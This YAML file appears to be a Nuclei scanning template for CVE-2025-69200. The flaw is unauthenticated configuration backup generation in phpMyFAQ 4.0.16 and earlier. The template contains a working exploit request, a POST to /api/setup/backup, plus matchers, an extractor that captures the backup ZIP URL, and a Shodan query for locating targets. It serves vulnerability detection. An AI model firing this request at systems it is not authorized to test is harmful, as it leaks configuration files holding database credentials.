CVE-2025-69200: phpMyFAQ - Configuration Backup Disclosure

id: CVE-2025-69200

info:
  name: phpMyFAQ - Configuration Backup Disclosure
  author: Louay-075
  severity: high
  description: |
    phpMyFAQ <= 4.0.16 contains an information disclosure vulnerability caused by unauthenticated access to configuration backup ZIP generation and download, letting remote attackers access sensitive configuration files, exploit requires no authentication.
  impact: |
    Remote attackers can access sensitive configuration files, exposing database credentials and enabling further compromise.
  remediation: |
    Update to version 4.0.16 or later.
  reference:
    - https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69200
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69200
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-69200
    epss-score: 0.02173
    epss-percentile: 0.81395
    cwe-id: CWE-202
  metadata:
    verified: true
    shodan-query: 'http.title:"phpMyFAQ"'
    max-request: 1
    product: phpmyfaq
    vendor: phpmyfaq
  tags: cve,cve2025,phpmyfaq,backup,exposure,vkev,vuln

http:
  - raw:
      - |
        POST /api/setup/backup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        4.1.0-RC

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"backupFile":"'
          - '.zip'
        condition: and

      - type: word
        words:
          - "error"
          - "forbidden"
        negative: true

      - type: word
        part: content_type
        words:
          - application/json

    extractors:
      - type: json
        name: backup_url
        json:
          - '.backupFile'
# digest: 4a0a0047304502203bcd98576a7b7ddffee78c1a412593517458022b5d7b7bdb086ab3d5539ff8b4022100c0756c9f026e9920f9f99ff803ddb153279e423377029df15f3f9f828c4ad722:922c64590222798bb761d5b6d8e72950

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